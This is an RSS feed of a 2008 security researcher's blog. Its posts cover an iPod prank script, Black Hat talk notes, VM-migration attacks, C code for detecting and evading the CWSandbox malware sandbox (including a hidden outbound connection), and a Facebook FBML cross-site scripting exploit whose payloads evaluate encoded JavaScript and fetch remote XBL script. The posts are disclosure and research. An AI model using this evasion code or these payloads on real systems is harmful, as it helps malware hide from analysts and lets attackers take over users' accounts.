<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>jon.oberheide.org</title>
	<atom:link href="http://jon.oberheide.org/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://jon.oberheide.org/blog</link>
	<description></description>
	<pubDate>Mon, 28 Apr 2008 01:02:31 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>iRoll: Rick Roll meets the iPod</title>
		<link>http://jon.oberheide.org/blog/2008/03/26/iroll-rick-roll-meets-the-ipod/</link>
		<comments>http://jon.oberheide.org/blog/2008/03/26/iroll-rick-roll-meets-the-ipod/#comments</comments>
		<pubDate>Wed, 26 Mar 2008 19:34:57 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Projects]]></category>

		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2008/03/26/iroll-rick-roll-meets-the-ipod/</guid>
		<description><![CDATA[Unless you&#8217;ve been living under a rock or some other non-internet-connected object, you&#8217;ve probably been Rick Rolled at some point.  I decided to take the concept a step further and whipped up a Python script that will let you Rick Roll the entire iPod of an unsuspecting victim when they leave it unattended.


iRolling an [...]]]></description>
			<content:encoded><![CDATA[<p>Unless you&#8217;ve been living under a rock or some other non-internet-connected object, you&#8217;ve probably been <a href="http://en.wikipedia.org/wiki/Never_Gonna_Give_You_Up#.22Rickroll.22_Internet_meme" target="_blank">Rick Rolled</a> at some point.  I decided to take the concept a step further and whipped up a Python script that will let you Rick Roll the entire iPod of an unsuspecting victim when they leave it unattended.</p>
<p><span id="more-81"></span></p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/rickroll.jpg" alt="rickroll.jpg" /></p>
<h2>iRolling an iPod</h2>
<p>As opposed to an internet-based Rick Roll, iRolling your victim&#8217;s iPod will provide a lot more hilarity as you can actually observe the confusion of your victim when they put in their headphones and hear nothing but Rick Astley&#8217;s sweet melodies.  Just ask to borrow your friend&#8217;s iPod for a few seconds or grab it off their desk when they&#8217;re not looking, plug it in to your machine via USB, and run the iRoll script.</p>
<p>Essentially, the iRoll script will replace every track on the victim&#8217;s iPod with any song of your choosing.  However, the metadata of the song including the artist, title, album, duration, etc will stay the same, hiding the fact that anything has been altered.  The end result is that the victim&#8217;s iPod appears normal and unmodified, but when they play any song, it will play the Rick Roll song instead.</p>
<p>The iRoll script works by loading up the iTunes DB on the iPod and copying over your desired track to the iPod.  It then iterates through all of the existing tracks in the database and modifies their file paths to reference the newly added track.  This allows the iRolling to happen in a matter of seconds since it&#8217;s simply changing the reference to the MP3 rather than overwriting every MP3 with the Rick Roll one.</p>
<p>Example run:</p>
<pre>iRoll.py by Jon Oberheide &lt;jon@oberheide.org&gt;

[+] Loading iTunes database
[+] Adding Rick Roll track
[+] Copying Rick Roll track to iPod
[+] Linking all songs to Rick Roll track
[+] Writing out backup file for unRoll&#8217;ing
[+] Saving and closing iTunes database
[+] iRoll complete!!</pre>
<h2>unRolling an iPod</h2>
<p>Thankfully, support to undo the Rick Roll is implemented as well, so that your victim will not lose all their music and/or kill you.  During the initial iRoll, an index of the current tracks and their associated paths is collected and saved on the iPod.  Therefore, when unRolling the iPod, the script simply loads the backup index and iterates through the track list, restoring the correct path for each track.</p>
<p>Example run:</p>
<pre>unRoll.py by Jon Oberheide &lt;jon@oberheide.org&gt;

[+] Loading iTunes database
[+] Restoring original track paths in iTunes database
[+] Saving and closing iTunes database
[+] unRoll complete!!</pre>
<h2>Download</h2>
<p>The scripts require <a href="http://www.gtkpod.org/libgpod.html" target="_blank">libgpod&#8217;s Python bindings</a> which should be available on most modern Linux distributions.  There&#8217;s no reason it shouldn&#8217;t function on OS X or Windows as well assuming libgpod has been ported.  Be sure that you have properly defined the MOUNT_POINT and RICK_ROLL paths before running the iRoll or unRoll scripts.  MOUNT_POINT should be the path to the iPod&#8217;s current mount point and RICK_ROLL is the path to the desired MP3.</p>
<ul>
<li><strong><a href="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/iroll.py" title="iroll.py">iRoll.py</a></strong></li>
<li><strong><a href="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/unroll.py" title="unroll.py">unRoll.py</a></strong></li>
<li><strong><a href="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/rickroll.mp3" title="rickroll.mp3">rickroll.mp3</a></strong></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2008/03/26/iroll-rick-roll-meets-the-ipod/feed/</wfw:commentRss>
<enclosure url="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/rickroll.mp3" length="3380479" type="audio/mpeg" />
		</item>
		<item>
		<title>Black Hat DC 2008 Briefings</title>
		<link>http://jon.oberheide.org/blog/2008/02/22/black-hat-dc-2008-briefings/</link>
		<comments>http://jon.oberheide.org/blog/2008/02/22/black-hat-dc-2008-briefings/#comments</comments>
		<pubDate>Fri, 22 Feb 2008 23:17:55 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2008/02/22/black-hat-dc-2008-briefings/</guid>
		<description><![CDATA[Just arrived home from Washington, DC where I attended and presented at the Black Hat DC Briefings.  I was fairly busy throughout the briefings and didn&#8217;t make it to as many presentations as I hoped, but I thought I&#8217;d detail a few of the more interesting ones.


Presentations of Interest
Cracking GSM
David Hulton and Steve
Pico Computing, Inc.
David [...]]]></description>
			<content:encoded><![CDATA[<p>Just arrived home from Washington, DC where I attended and presented at the <a href="http://www.blackhat.com" target="_blank">Black Hat DC Briefings</a>.  I was fairly busy throughout the briefings and didn&#8217;t make it to as many presentations as I hoped, but I thought I&#8217;d detail a few of the more interesting ones.</p>
<p><span id="more-71"></span></p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/headbak2.jpg" alt="headbak2.jpg" /></p>
<h2>Presentations of Interest</h2>
<p><strong>Cracking GSM</strong><br />
David Hulton and Steve<br />
Pico Computing, Inc.</p>
<p>David and Steve&#8217;s presentation on GSM cracking definitely received the most attention of the briefings.  While the A5/1 GSM cipher has seen its share of attacks in the past, the presenters showed how it could be cracked with a price tag accessibile to the average joe.  Using about $1000 worth of equipment including a USPR (Universal Software Radio Peripheral) to capture the encrypted streams and FPGAs to do the actual cracking, they demonstrated that the A5/1 cipher could be cracked in about half an hour.  Scaling the system up with more FPGAs results in even faster cracking time.  Fun stuff, I need to get my hands on a USPR ASAP.</p>
<ul>
<li><strong><a href="http://blackhat.com/presentations/bh-dc-08/Steve-DHulton/Presentation/bh-dc-08-steve-dhulton.pdf" target="_blank">Presentation</a></strong></li>
<li><strong><a href="http://blackhat.com/presentations/bh-dc-08/Steve-DHulton/Whitepaper/bh-dc-08-steve-dhulton-WP.pdf" target="_blank">Whitepaper</a></strong></li>
<li><strong><a href="http://blackhat.com/html/featured_media/bh08-002-Stream-1.mov" target="_blank">Movie</a></strong></li>
</ul>
<p><strong>Side Channel Analysis on Embedded Systems</strong><br />
Job DeHaas<br />
Riscure</p>
<p>Job from Riscure presented some slick demos of side channel attacks on embedded devices.  Side channel attacks are well-known throughout the crypto community but Job kept it interested by detailing some of the trends observed as tamper resistance is becoming more prevalent in consumer devices.  The neat part was getting to see the actual sensor device used to monitor the side channel and feed the leaked information to the box doing the analysis.  Apparently the new FIPS 140-3 certification standard will require some level of resistance against side channel attacks.</p>
<ul>
<li><strong><a href="http://blackhat.com/presentations/bh-dc-08/DeHaas/Presentation/bh-dc-08-dehaas.pdf" target="_blank">Presentation</a></strong></li>
</ul>
<p><strong>SCADA Security</strong><br />
Jason Larsen<br />
IOActive, Inc.</p>
<p>The best presentation, in my opinion, was Jason Larson&#8217;s from IOActive on SCADA security.  Unlike all the other uninformed, full-of-hype, dooms-day, live-free-or-die-hard SCADA presentations I&#8217;ve seen, this one came from someone who dealt with the systems day-to-day for the past five years.  After smashing a bunch of SCADA myths through some entertaining Hollywood clips, the rest of the presentation focused on how physical damage can realistically be achieved through an attack on a SCADA system.  Jason also let out a few interesting gems about existing SCADA attacks that have happened but were not publically announced.  Apparently, there&#8217;s been at least four cases of extortion where an attacker gained control over a SCADA control system and demanded payment.  And, in all four cases, the attacker was paid out.  Also included was the video leaked from DHS showing a huge generator literally jumping off the ground and spewing out steam after an attack.</p>
<ul>
<li><strong><a href="http://blackhat.com/presentations/bh-dc-08/Larsen/Presentation/bh-dc-08-larsen.pdf" target="_blank">Presentation</a></strong></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2008/02/22/black-hat-dc-2008-briefings/feed/</wfw:commentRss>
<enclosure url="http://blackhat.com/html/featured_media/bh08-002-Stream-1.mov" length="0" type="video/quicktime" />
		</item>
		<item>
		<title>Exploiting Live Virtual Machine Migration</title>
		<link>http://jon.oberheide.org/blog/2008/02/10/exploiting-live-virtual-machine-migration/</link>
		<comments>http://jon.oberheide.org/blog/2008/02/10/exploiting-live-virtual-machine-migration/#comments</comments>
		<pubDate>Sun, 10 Feb 2008 17:22:46 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Analysis]]></category>

		<category><![CDATA[Network]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2008/02/10/exploiting-live-virtual-machine-migration/</guid>
		<description><![CDATA[Later this week, I&#8217;ll be presenting at the Black Hat DC Briefings on weaknesses in the security of live virtual machine migration as implemented by popular vendors such as VMware and Xen.  I thought I&#8217;d provide a teaser in advance of my presentation detailing some of the topics that will be discussed.

A Trip Down Memory [...]]]></description>
			<content:encoded><![CDATA[<p>Later this week, I&#8217;ll be presenting at the <a href="http://www.blackhat.com" target="_blank">Black Hat DC Briefings</a> on weaknesses in the security of live virtual machine migration as implemented by popular vendors such as VMware and Xen.  I thought I&#8217;d provide a teaser in advance of my presentation detailing some of the topics that will be discussed.</p>
<h2><span id="more-69"></span></h2>
<h2>A Trip Down Memory Lane</h2>
<p>If you take a look back at the past few years, we&#8217;ve seen a systematic breaking down of isolation boundaries within our computing platforms as new technologies such as virtualization are employed.</p>
<p>We started with physical machines running a single operating system.  The state of the machine was protected by hardware mechanisms such as the MMU.  However, attacks were still possible against this model, such as physically plugging in a rogue firewire device and DMA&#8217;ing into physical memory.</p>
<p>As virtualization entered the scene, the state of a machine was no longer protected by hardware, but by a software layer, namely the hypervisor/VMM.  As we&#8217;ve seen numerous times, the isolation mechanisms enforced by the hypervisor are often broken due to vulnerabilities in the software, resulting in a VM being able to modify the state of another VM under the same hypervisor.</p>
<p>With the introduction of live migration of virtual machines, we have brought the weakening of isolation boundaries protecting machine state to a whole new level.  Using the migration functionality implemented by vendors such as VMware and Xen now exposes the entire machine state of a VM to the network.  Now, instead of physical access or access to a VM sharing a hypervisor of the target VM to perform an attack, an attacker simply needs snoop on a network where these migrations are occurring.  Exposing this information to the network without authentication or confidentiality guarantees represents a significant security risk.</p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/vmotion-technology.jpg" alt="vmotion-technology.jpg" /></p>
<h2>Exploiting Live Migrations</h2>
<p>Live migration is an incredibly useful feature and natural extension to virtualization platforms that allows for the transfer of a virtual machine from one physical machine to another with little no or downtime of the services hosted by the virtual machine.  To put it simply, a live migration transfers the working state and memory of a virtual machine across the network.</p>
<p>The security of a virtual machine migration hinges on the migration data plane, or the network transit path of which the migration occurs.  If this data plane is insecure or unauthentication, an attacker on the network may gain access to the migration, allowing access to the full state of the virtual machine including the operating system kernel, applications and services run within the operating system, and the sensitive data currently being used by those applications.  Unfortunately, in both the virtualization offerings by VMware and Xen, insecure migrations are employed allowing an attacker to compromise the integrity of the virtual machines being migrated.</p>
<p>To demonstrate attacks against live migration, we implemented a proof of concept tool called Xensploit.  Despite its name, it is effective against both VMware and Xen migrations.  During the Black Hat presentation, we will detail several classes of attacks including userspace application exploits, backdoors via kernel manipulation, and virtual machine based rootkits (VMBRs).  In addition, we&#8217;ll demonstrate how a VM migration can be manipulated by a malicious party in order to exploit vulnerabilities in the Xen VMM and subvert the hypervisor.</p>
<h2>Deployment Risks</h2>
<p>The primary goal of my presentation at Black Hat is to raise awareness of these weaknesses in current virtualization offerings from major vendors.  IT administrators employing virtualization and live migration functionality need to be aware of the risks associated with such deployments and take the appropriate steps to achieve adequate isolation and secure their infrastructure.  Virtualization and, in particular, the live migration of virtual machines represent significant advancements in computing and management capabilities, but much care must be taken to properly implement the appropriate security mechanisms by both the vendors and the enterprises deploying the software.</p>
<h2>Materials Update</h2>
<p>The materials of my Black Hat presentation are now available:</p>
<ul>
<li><strong>Presentation:</strong>  <a href="http://jon.oberheide.org/files/blackhat08-migration-pres.pdf" target="_blank">http://jon.oberheide.org/files/blackhat08-migration-pres.pdf</a></li>
<li><strong>Whitepaper:</strong>  <a href="http://jon.oberheide.org/files/blackhat08-migration.pdf" target="_blank">http://jon.oberheide.org/files/blackhat08-migration.pdf</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2008/02/10/exploiting-live-virtual-machine-migration/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Detecting and Evading CWSandbox</title>
		<link>http://jon.oberheide.org/blog/2008/01/15/detecting-and-evading-cwsandbox/</link>
		<comments>http://jon.oberheide.org/blog/2008/01/15/detecting-and-evading-cwsandbox/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 01:37:31 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Analysis]]></category>

		<category><![CDATA[Code]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2008/01/15/detecting-and-evading-cwsandbox/</guid>
		<description><![CDATA[CWSandbox is one of the most comprehensive and full featured platforms for automated malware analysis.  In this post, we detail how a malware sample being analyzed by CWSandbox may detect and evade the monitoring functionality of CWSandbox in order to disguise its malicious activities.


Introduction to CWSandbox
CWSandbox is a platform developed by Sunbelt Software to [...]]]></description>
			<content:encoded><![CDATA[<p>CWSandbox is one of the most comprehensive and full featured platforms for automated malware analysis.  In this post, we detail how a malware sample being analyzed by CWSandbox may detect and evade the monitoring functionality of CWSandbox in order to disguise its malicious activities.</p>
<p><span id="more-73"></span></p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/box-sunbelt-cwsandbox.jpg" alt="box-sunbelt-cwsandbox.jpg" /></p>
<h2>Introduction to CWSandbox</h2>
<p><a href="http://www.sunbelt-software.com/Developer/Sunbelt-CWSandbox/" target="_blank">CWSandbox</a> is a platform developed by <a href="http://www.sunbelt-software.com/" target="_blank">Sunbelt Software</a> to automate the analysis of malware samples inside a controlled environment.  It generates detailed reports of the runtime behavior of malware by monitoring the Win32 API calls a sample makes during its execution.  In order for sandboxed environments such as CWSandbox to maintain their utility and accurately analyze modern malicious threats, it is imperative that they are hardened and resiliant against detection and fingerprinting.  To detect the presence of CWSandbox, several vectors of detection of worthy of consideration:</p>
<ol>
<li><strong>Environment: </strong> Artifacts of the host environment in which CWSandbox runs may be used to detect its presence.  For example, CWSandbox is most frequently ran inside a virtual machine such as <a href="http://www.vmware.com" target="_blank">VMware</a> or <a href="http://xensource.com" target="_blank">Xen</a>.  Existing techniques to detect virtualized environments can be employed by malware.  In addition,  CWSandbox supports Faronic&#8217;s <a href="http://www.faronics.com/html/deepfreeze.asp" target="_blank">DeepFreeze</a> which may be identified as a suspicious environmental artifact by a malware sample under analysis.<br />
<strong><br />
</strong></li>
<li><strong>API Hooking:</strong>  The API hooking mechanism used by CWSandbox presents another detection vector.  Specifically, CWSandbox employs the <a href="http://www.madshi.net/madCodeHookDescription.htm" target="_blank">MadCodeHook</a> package for its hooking routines.  MadCodeHook implements multiple userspace hooking mechanisms dependent on the OS version being hooked such as inline function hooking (jmp insertion) and IAT/EAT patching.  These hooking mechanisms can be detected and evaded in many circumstances.<br />
<strong><br />
</strong></li>
<li><strong>CWSandbox itself:</strong>  The processes, services, injected DLLs, registry keys, mutexes, and other attributes related to the CWSandbox platform may be enumerated and identified to discover the presence of the sandboxed environment.  CWSandbox employs defensive mechanisms to hide its presence from sophisticated malware, but as we will see, these mechanisms are easily bypassed.</li>
</ol>
<p>While there exist numerous methods to detect and evade environments such as CWSandbox, we will explore one of the more simple mechanisms that requires very little code and expertise to perform.</p>
<h2>Detecting CWSandbox</h2>
<p>As previously mentioned, CWSandbox employs some defensive measures to hide the presence of its software from the malware sample being analyzed to reduce the chance of it being fingerprinted.  Unfortunately, these defenses are implemented using the same userspace API hooking mechanism as CWSandbox&#8217;s monitoring functionality as opposed to a more sophisticated approach such as using a kernel device driver.  Therefore, if the API hooking mechanism can be subverted, we can trivially detect the CWSandbox environment.</p>
<p>One simple method to subvert the API hooking mechanism and execute non-hooked functions is to copy the DLL containing the desired function and load it dynamically into the processes address space using <a href="http://msdn2.microsoft.com/en-us/library/ms684175(VS.85).aspx" target="_blank">LoadLibrary</a> with an alternate module name.  To automate this process, we define a helper function called LoadDLL:</p>
<pre>
HMODULE
LoadDLL(LPCTSTR module)
{
    HMODULE hmod;
    TCHAR sys[MAX_PATH], cwd[MAX_PATH], dll[MAX_PATH], src[MAX_PATH], dst[MAX_PATH];
    GetSystemDirectory(sys, MAX_PATH);
    GetCurrentDirectory(MAX_PATH, cwd);
    StringCchPrintf(dll, MAX_PATH, TEXT(&#8221;b0rked-%s&#8221;), module);
    StringCchPrintf(src, MAX_PATH, TEXT(&#8221;%s\\%s&#8221;), sys, module);
    StringCchPrintf(dst, MAX_PATH, TEXT(&#8221;%s\\%s&#8221;), cwd, dll);
    CopyFile(src, dst, FALSE);
    hmod = LoadLibrary(dll);
    return hmod;
}</pre>
<p>After the alternate DLL is loaded into memory, we can use the <a href="http://msdn2.microsoft.com/en-us/library/ms683212(VS.85).aspx" target="_blank">GetProcAddress</a> function to retrieve the address of a desired function and call it.  For example, to call the unhooked version of a fake function, FakeFunction from fake.dll, we would do the following:</p>
<pre>
HMODULE fake = LoadDLL("fake.dll");
FARPROC _FakeFunction = (FARPROC) GetProcAddress(fake, "FakeFunction");
_FakeFunction(...);</pre>
<p>Now that we have the ability to call functions in a manner that will not be hooked by CWSandbox, we can go about detecting its presence with impunity.  One glaring fingerprint of CWSandbox&#8217;s presence is the CWMonitor DLL that is injected into every monitored process.  Usually the CWMonitor DLL is excluded from the list obtained by <a href="http://msdn2.microsoft.com/en-us/library/ms682631(VS.85).aspx" target="_blank">EnumProcessModules</a> by CWSandbox&#8217;s defensive measures but since we are calling the unhooked version, we can obtain the unfiltered list of loaded modules.  The following code enumerates the loaded DLL modules of the current process and checks for the presence of CWMonitor.dll:</p>
<pre>
HMODULE psapi = LoadDLL(_T("psapi.dll"));
ENUMPM _EnumProcessModules = (ENUMPM) _GetProcAddress(psapi, "EnumProcessModules");

h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, GetCurrentProcessId());

if (_EnumProcessModules(h, mods, sizeof(mods), &amp;num)) {
    for (unsigned int i = 0; i &lt; (num / sizeof(HMODULE)); ++i) {
        if (GetModuleFileNameEx(h, mods[i], name, sizeof(name)/sizeof(TCHAR))) {
            if (wcsstr(name, _T(&#8221;CWMonitor.dll&#8221;)) != NULL) {
                /* CWSandbox detected! */
                printf(&#8221;CWSandbox detected!\n&#8221;);
                return 1;
            }
        }
    }
}
CloseHandle(h);</pre>
<h2>Evading CWSandbox</h2>
<p>Just as we loaded the EnumProcessModules function to detect CWSandbox using LoadDLL and GetProcAddress, we can also load any arbitrary functions that we wish to use to disguise the real activity of the sample being analyzed.  For example, a piece of malware may wish to hide the detailed network information of it&#8217;s command and control server that it connects back to during execution.  The following example shows how a sample could set up a socket and connect out to the internet while evading CWSandbox&#8217;s monitoring mechanisms:</p>
<pre>
HMODULE ws2_32 = LoadDLL(_T("ws2_32.dll"));
WSASTART _WSAStartup = (WSASTART) _GetProcAddress(ws2_32, "WSAStartup");
WSASOCK _WSASocketW = (WSASOCK) _GetProcAddress(ws2_32, "WSASocketW");
WSACONN _connect = (WSACONN) _GetProcAddress(ws2_32, "connect");

memset(&amp;sa, 0, sizeof(sa));
memcpy(&amp;sa.sin_addr, "\x48\x0e\xcf\x63", 4);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);

/* evade CWSandbox and make undetected outgoing network connection */
_WSAStartup(MAKEWORD(2, 0), &amp;info);
s = _WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
_connect(s, (struct sockaddr *)&amp;sa, sizeof sa);</pre>
<p>(Actually, CWSandbox has a great feature to capture all network activity via WinPcap/NDIS so this network connection would still be recorded in the PCAP dump, but you get the idea).</p>
<h2>Source Files</h2>
<p>Here are the full source files for the examples presented here:</p>
<ul>
<li><strong><a href="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/cw-detect.cpp" title="cw-detect.cpp">cw-detect.cpp</a></strong></li>
<li><strong><a href="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/cw-evade.cpp" title="cw-evade.cpp">cw-evade.cpp</a></strong></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2008/01/15/detecting-and-evading-cwsandbox/feed/</wfw:commentRss>
		</item>
		<item>
		<title>xkcd Malware Visualization</title>
		<link>http://jon.oberheide.org/blog/2007/11/30/xkcd-malware-visualization/</link>
		<comments>http://jon.oberheide.org/blog/2007/11/30/xkcd-malware-visualization/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 00:44:41 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Technical]]></category>

		<category><![CDATA[Umich]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2007/11/30/xkcd-malware-visualization/</guid>
		<description><![CDATA[A recent xkcd comic related to malware visualization is eerily similar to a system we&#8217;re currently running at the University of Michigan.
The xkcd Comic

Our System

The system pictured is a production version of an architecture we proposed last year at HotSec &#8216;07 (paper, presentation), essentially a network-based AV service.  The backend analysis system consists of Xen-based [...]]]></description>
			<content:encoded><![CDATA[<p>A recent <a href="http://xkcd.com/350/" target="_blank">xkcd comic</a> related to malware visualization is eerily similar to a system we&#8217;re currently running at the University of Michigan.</p>
<h2><span id="more-66"></span>The xkcd Comic</h2>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/network.png" alt="network.png" /></p>
<h2>Our System</h2>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/03/malware.jpg" alt="malware.jpg" /></p>
<p>The system pictured is a production version of an architecture we proposed last year at HotSec &#8216;07 (<a href="http://jon.oberheide.org/files/hotsec07-cloud.pdf" target="_blank">paper</a>, <a href="http://jon.oberheide.org/files/hotsec07-cloud-pres.pdf" target="_blank">presentation</a>), essentially a network-based AV service.  The backend analysis system consists of Xen-based virtualized containers which host various detection engines.  Candidate executables/files are acquired by a lightweight host-agent (hooking CreateProcess on Win32, Dazuko on Linux/BSD, etc) and transmitted to the backend for analysis by a bajillion (ok, maybe only 12) antivirus and behavioral engines.  We currently employ antivirus engines from Avast, AVG, BitDefender, ClamAV, F-Prot, F-Secure, Kaspersky, McAfee, Symantec and Trend Micro.  We also have two behavior engines, Norman Sandbox Analyzer and CWSandbox, to provide runtime behavioral profiles for candidate executions.  This model has numerous advantages including significantly increased detection coverage, centralized management, and post-infection forensics.  The photo shows our beautiful 52&#8243; LCD screen displaying the output of the various Xen VMs hosting the detection engines and the real-time detection results of the analysis of a malware sample.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2007/11/30/xkcd-malware-visualization/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Facebook XSS</title>
		<link>http://jon.oberheide.org/blog/2007/08/15/facebook-xss/</link>
		<comments>http://jon.oberheide.org/blog/2007/08/15/facebook-xss/#comments</comments>
		<pubDate>Wed, 15 Aug 2007 20:21:28 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
		
		<category><![CDATA[Analysis]]></category>

		<category><![CDATA[Code]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/2007/08/15/facebook-xss/</guid>
		<description><![CDATA[Facebook&#8217;s new-fangled applications functionality seemed like a ripe opportunity for nasty cross-site scripting bugs.  As it turns out, multiple XSS vulnerabilities were present in the fb:swf tag of the Facebook Markup Language.


FBML XSS Vulnerabilities
Given that Facebook seems to roll out tons of new functionality all the time without proper security testing and auditing, I [...]]]></description>
			<content:encoded><![CDATA[<p>Facebook&#8217;s new-fangled applications functionality seemed like a ripe opportunity for nasty cross-site scripting bugs.  As it turns out, multiple XSS vulnerabilities were present in the fb:swf tag of the Facebook Markup Language.</p>
<p><span id="more-64"></span></p>
<p style="text-align: center"><img src="http://jon.oberheide.org/blog/wp-content/uploads/2008/02/facebook.png" alt="facebook.png" /></p>
<h2>FBML XSS Vulnerabilities</h2>
<p>Given that Facebook seems to roll out tons of new functionality all the time without proper security testing and auditing, I was sure there had to be at least a few holes.  I finally got the motivation to do some bug hunting while at <a href="http://www.usenix.org/events/sec07/">USENIX Security</a>, where I met a student, <a href="http://www.cs.virginia.edu/felt/" target="_blank">Adrienne Felt</a>, from University of Virginia who was presenting at the poster session about an XSS vuln she had found in Facebook.  As she wasn&#8217;t releasing any specific technical details about the vulnerability since it was not yet patched, I found that motivation enough to head back to my hotel and hack on Facebook for the night to see if I could re-discover the hole she had found.  In just a couple hours, I had discovered an XSS vulnerability, which I found out the next day was actually different that the one she had discovered.</p>
<p>The XSS vulnerabilities were present in the fb:swf functionality of the Facebook Markup Language.  The <a href="http://wiki.developers.facebook.com/index.php/FBML" target="_blank">Facebook Markup Language</a> (FBML) is a set of custom defined tags that allow application developers to display various types of content to the users without allowing the execution of Javascript.  The FBML tags are preprocessed by Facebook, converted to the appropriate html entities, and then output to the user.  While most of the tags were filtered properly, several attributes of the fb:swf tag, which lets people embed flash swf&#8217;s in their applications, were unsanitized.  Two vulnerabilities were present in the fb:swf tag, one related to the imgstyle attribute (discovered by Adrienne) and the other related to the onmouseover attribute (discovered by yours truly).</p>
<h2>Exploit Payload</h2>
<p>I created a simple Facebook application to host the proof-of-concept code and demonstrate the vulnerability.  The exploit originally used the onmouseover vulnerability but I switched it over to Adrienne&#8217;s imgstyle attribute after Facebook patched my exploit vector.</p>
<p>Here is the exploit code:</p>
<pre>&lt;fb:swf imgsrc="http://jonojono.eecs.umich.edu/test.gif"
swfsrc="http://jonojono.eecs.umich.edu/test.swf" waitforclick="true"
imgstyle="background-color: expression(eval(unescape('ENCODED JS HERE')));
background-repeat: expression(this.style.background-color='');" /&gt;</pre>
<p>In order to sneak the code past Facebook&#8217;s sanitation filters and allow the attack to function against multiple browsers, a few tricks were needed:</p>
<p>For IE browsers, the CSS expression() function allows the execution of arbitrary Javascript.  The Javascript payload needed to be encoded to allow for special characters and avoid the JS filters. At runtime, IE evaluates the expression function which will unescape the encoded javascript and pass it to eval() to execute it.  In addition, as the expression() CSS function is continually evaluated, another dummy attribute (background-repeat) is added to reset the background-color attribute after the first execution to avoid executing the Javascript over and over.</p>
<p>For Mozilla browsers, the -moz-binding attribute can be used to fetch remote XBL content and execute embedded Javascript.  for example, using the following:</p>
<pre>style="-moz-binding: url(http;//jonojono.eecs.umich.edu/fb-xss.xml);"</pre>
<p>will fetch and execute the remore content.  Example contents of fb-xss.xml:</p>
<pre>&lt;bindings&gt;&lt;binding id="exploit"&gt;&lt;implementation&gt;&lt;constructor&gt;
/* insert javascript here */
&lt;/constructor&gt;&lt;/implementation&gt;&lt;/binding&gt;&lt;/bindings&gt;</pre>
<p>The example exploit I created delivered the following benign Javascript payload:</p>
<pre>var form = document.getElementById('wall_post_form');
form.text.value = 'i heart jon o...and his automatic wall posts!';
ajax_wall_post(ge('wall_post_form'), ge('wall_posts'));</pre>
<p>Very short and simple, thanks to Facebook&#8217;s provided AJAX functions.  In this proof-of-concept, as soon as someone visited my profile, it would automatically post to my wall with the included message.  It was definitely interesting seeing how many random people visit your profile for no apparent reason every day.</p>
<h2>XSS Worms</h2>
<p>Besides simple, benign actions like automatically posting on a wall, much more malicious attacks are obviously possible.  It is possible to perform any action a Facebook user would normally be able to perform, but in an automated and silent manner without their knowledge.  Imagine a malicious application hosted on your profile that automatically added itself to anyone&#8217;s profile who view their page.  Then anyone viewing that victim&#8217;s page would also be infected with the malicious application, resulting in a rapid worm-like spreading behavior.</p>
<p>It&#8217;s only a matter of time before we see a similar XSS hole exploited on Facebook on a large-scale basis for malicious purposes similar to the Myspace phishing worm.  Hopefully, in the future, Facebook will do a better job in auditing their new functionality for vulnerabilities to prevent such a scenario.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2007/08/15/facebook-xss/feed/</wfw:commentRss>
		</item>
		<item>
		<title>USENIX Security, HotSec, WOOT 2007</title>
		<link>http://jon.oberheide.org/blog/2007/08/10/usenix-security-hotsec-woot-2007/</link>
		<comments>http://jon.oberheide.org/blog/2007/08/10/usenix-security-hotsec-woot-2007/#comments</comments>
		<pubDate>Fri, 10 Aug 2007 20:05:25 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
